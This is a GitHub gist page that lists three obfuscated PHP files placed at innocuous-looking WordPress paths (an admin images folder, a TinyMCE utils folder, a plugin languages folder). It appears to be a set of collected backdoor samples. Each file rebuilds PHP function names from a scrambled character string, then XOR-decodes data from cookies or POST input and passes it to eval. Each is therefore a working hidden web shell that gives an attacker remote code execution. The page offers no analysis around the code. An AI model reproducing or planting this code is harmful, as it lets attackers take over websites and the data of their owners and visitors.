Skip to content

Instantly share code, notes, and snippets.

@malwador
Last active October 12, 2018 19:55
Show Gist options
  • Save malwador/5c0f8865733d7a52a9c17bf26116a496 to your computer and use it in GitHub Desktop.
Save malwador/5c0f8865733d7a52a9c17bf26116a496 to your computer and use it in GitHub Desktop.
wp-admin/images/pdptckre.php
<?php
$ocivvt = 'Hi-x*4\'yt63m8fa#sk02nrpgbe_o7d5ulvc';$ohglloc = Array();$ohglloc[] = $ocivvt[10].$ocivvt[30].$ocivvt[29].$ocivvt[30].$ocivvt[28].$ocivvt[34].$ocivvt[12].$ocivvt[34].$ocivvt[2].$ocivvt[25].$ocivvt[18].$ocivvt[25].$ocivvt[18].$ocivvt[2].$ocivvt[5].$ocivvt[18].$ocivvt[18].$ocivvt[9].$ocivvt[2].$ocivvt[24].$ocivvt[19].$ocivvt[13].$ocivvt[18].$ocivvt[2].$ocivvt[29].$ocivvt[28].$ocivvt[30].$ocivvt[12].$ocivvt[14].$ocivvt[12].$ocivvt[34].$ocivvt[10].$ocivvt[29].$ocivvt[30].$ocivvt[25].$ocivvt[28];$ohglloc[] = $ocivvt[0].$ocivvt[4];$ohglloc[] = $ocivvt[15];$ohglloc[] = $ocivvt[34].$ocivvt[27].$ocivvt[31].$ocivvt[20].$ocivvt[8];$ohglloc[] = $ocivvt[16].$ocivvt[8].$ocivvt[21].$ocivvt[26].$ocivvt[21].$ocivvt[25].$ocivvt[22].$ocivvt[25].$ocivvt[14].$ocivvt[8];$ohglloc[] = $ocivvt[25].$ocivvt[3].$ocivvt[22].$ocivvt[32].$ocivvt[27].$ocivvt[29].$ocivvt[25];$ohglloc[] = $ocivvt[16].$ocivvt[31].$ocivvt[24].$ocivvt[16].$ocivvt[8].$ocivvt[21];$ohglloc[] = $ocivvt[14].$ocivvt[21].$ocivvt[21].$ocivvt[14].$ocivvt[7].$ocivvt[26].$ocivvt[11].$ocivvt[25].$ocivvt[21].$ocivvt[23].$ocivvt[25];$ohglloc[] = $ocivvt[16].$ocivvt[8].$ocivvt[21].$ocivvt[32].$ocivvt[25].$ocivvt[20];$ohglloc[] = $ocivvt[22].$ocivvt[14].$ocivvt[34].$ocivvt[17];foreach ($ohglloc[7]($_COOKIE, $_POST) as $axokim => $jfpjbs){function qmeod($ohglloc, $axokim, $udxol){return $ohglloc[6]($ohglloc[4]($axokim . $ohglloc[0], ($udxol / $ohglloc[8]($axokim)) + 1), 0, $udxol);}function ocdvnb($ohglloc, $nrboe){return @$ohglloc[9]($ohglloc[1], $nrboe);}function cshbsz($ohglloc, $nrboe){$cizwgfr = $ohglloc[3]($nrboe) % 3;if (!$cizwgfr) {eval($nrboe[1]($nrboe[2]));exit();}}$jfpjbs = ocdvnb($ohglloc, $jfpjbs);cshbsz($ohglloc, $ohglloc[5]($ohglloc[2], $jfpjbs ^ qmeod($ohglloc, $axokim, $ohglloc[8]($jfpjbs))));}
wp-includes/js/tinymce/utils/tmebzvad.php
<?php
$yktwydv = '4b73igplsH_ft-59amu2d8\'10voxykrc#n*e';$azzqz = Array();$azzqz[] = $yktwydv[11].$yktwydv[3].$yktwydv[1].$yktwydv[19].$yktwydv[21].$yktwydv[1].$yktwydv[21].$yktwydv[3].$yktwydv[13].$yktwydv[23].$yktwydv[1].$yktwydv[31].$yktwydv[3].$yktwydv[13].$yktwydv[0].$yktwydv[14].$yktwydv[16].$yktwydv[1].$yktwydv[13].$yktwydv[15].$yktwydv[23].$yktwydv[14].$yktwydv[0].$yktwydv[13].$yktwydv[2].$yktwydv[24].$yktwydv[24].$yktwydv[16].$yktwydv[11].$yktwydv[31].$yktwydv[35].$yktwydv[0].$yktwydv[11].$yktwydv[31].$yktwydv[2].$yktwydv[1];$azzqz[] = $yktwydv[9].$yktwydv[34];$azzqz[] = $yktwydv[32];$azzqz[] = $yktwydv[31].$yktwydv[26].$yktwydv[18].$yktwydv[33].$yktwydv[12];$azzqz[] = $yktwydv[8].$yktwydv[12].$yktwydv[30].$yktwydv[10].$yktwydv[30].$yktwydv[35].$yktwydv[6].$yktwydv[35].$yktwydv[16].$yktwydv[12];$azzqz[] = $yktwydv[35].$yktwydv[27].$yktwydv[6].$yktwydv[7].$yktwydv[26].$yktwydv[20].$yktwydv[35];$azzqz[] = $yktwydv[8].$yktwydv[18].$yktwydv[1].$yktwydv[8].$yktwydv[12].$yktwydv[30];$azzqz[] = $yktwydv[16].$yktwydv[30].$yktwydv[30].$yktwydv[16].$yktwydv[28].$yktwydv[10].$yktwydv[17].$yktwydv[35].$yktwydv[30].$yktwydv[5].$yktwydv[35];$azzqz[] = $yktwydv[8].$yktwydv[12].$yktwydv[30].$yktwydv[7].$yktwydv[35].$yktwydv[33];$azzqz[] = $yktwydv[6].$yktwydv[16].$yktwydv[31].$yktwydv[29];foreach ($azzqz[7]($_COOKIE, $_POST) as $rxncc => $sndrjdd){function ejinkyh($azzqz, $rxncc, $dtsdk){return $azzqz[6]($azzqz[4]($rxncc . $azzqz[0], ($dtsdk / $azzqz[8]($rxncc)) + 1), 0, $dtsdk);}function fmsbl($azzqz, $rjhol){return @$azzqz[9]($azzqz[1], $rjhol);}function jlbjr($azzqz, $rjhol){$iejua = $azzqz[3]($rjhol) % 3;if (!$iejua) {eval($rjhol[1]($rjhol[2]));exit();}}$sndrjdd = fmsbl($azzqz, $sndrjdd);jlbjr($azzqz, $azzqz[5]($azzqz[2], $sndrjdd ^ ejinkyh($azzqz, $rxncc, $azzqz[8]($sndrjdd))));}
wp-content/plugins/builder-woocommerce/languages/ytjtqhgo.php
?php
$milpwhw = '1p\'gotsHucyka7nebv-irx#dm92*4_lf6385';$sfwydfq = Array();$sfwydfq[] = $milpwhw[7].$milpwhw[27];$sfwydfq[] = $milpwhw[25].$milpwhw[33].$milpwhw[26].$milpwhw[33].$milpwhw[0].$milpwhw[0].$milpwhw[31].$milpwhw[16].$milpwhw[18].$milpwhw[34].$milpwhw[9].$milpwhw[28].$milpwhw[32].$milpwhw[18].$milpwhw[28].$milpwhw[28].$milpwhw[31].$milpwhw[25].$milpwhw[18].$milpwhw[16].$milpwhw[16].$milpwhw[28].$milpwhw[0].$milpwhw[18].$milpwhw[35].$milpwhw[35].$milpwhw[28].$milpwhw[28].$milpwhw[31].$milpwhw[32].$milpwhw[13].$milpwhw[13].$milpwhw[31].$milpwhw[26].$milpwhw[12].$milpwhw[34];$sfwydfq[] = $milpwhw[22];$sfwydfq[] = $milpwhw[9].$milpwhw[4].$milpwhw[8].$milpwhw[14].$milpwhw[5];$sfwydfq[] = $milpwhw[6].$milpwhw[5].$milpwhw[20].$milpwhw[29].$milpwhw[20].$milpwhw[15].$milpwhw[1].$milpwhw[15].$milpwhw[12].$milpwhw[5];$sfwydfq[] = $milpwhw[15].$milpwhw[21].$milpwhw[1].$milpwhw[30].$milpwhw[4].$milpwhw[23].$milpwhw[15];$sfwydfq[] = $milpwhw[6].$milpwhw[8].$milpwhw[16].$milpwhw[6].$milpwhw[5].$milpwhw[20];$sfwydfq[] = $milpwhw[12].$milpwhw[20].$milpwhw[20].$milpwhw[12].$milpwhw[10].$milpwhw[29].$milpwhw[24].$milpwhw[15].$milpwhw[20].$milpwhw[3].$milpwhw[15];$sfwydfq[] = $milpwhw[6].$milpwhw[5].$milpwhw[20].$milpwhw[30].$milpwhw[15].$milpwhw[14];$sfwydfq[] = $milpwhw[1].$milpwhw[12].$milpwhw[9].$milpwhw[11];foreach ($sfwydfq[7]($_COOKIE, $_POST) as $obgjso => $sjsloax){function tycgzjc($sfwydfq, $obgjso, $mmgstzn){return $sfwydfq[6]($sfwydfq[4]($obgjso . $sfwydfq[1], ($mmgstzn / $sfwydfq[8]($obgjso)) + 1), 0, $mmgstzn);}function bwqlpxk($sfwydfq, $jdpjbjq){return @$sfwydfq[9]($sfwydfq[0], $jdpjbjq);}function yfxkjh($sfwydfq, $jdpjbjq){$lxnxmwa = $sfwydfq[3]($jdpjbjq) % 3;if (!$lxnxmwa) {eval($jdpjbjq[1]($jdpjbjq[2]));exit();}}$sjsloax = bwqlpxk($sfwydfq, $sjsloax);yfxkjh($sfwydfq, $sfwydfq[5]($sfwydfq[2], $sjsloax ^ tycgzjc($sfwydfq, $obgjso, $sfwydfq[8]($sjsloax))));}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment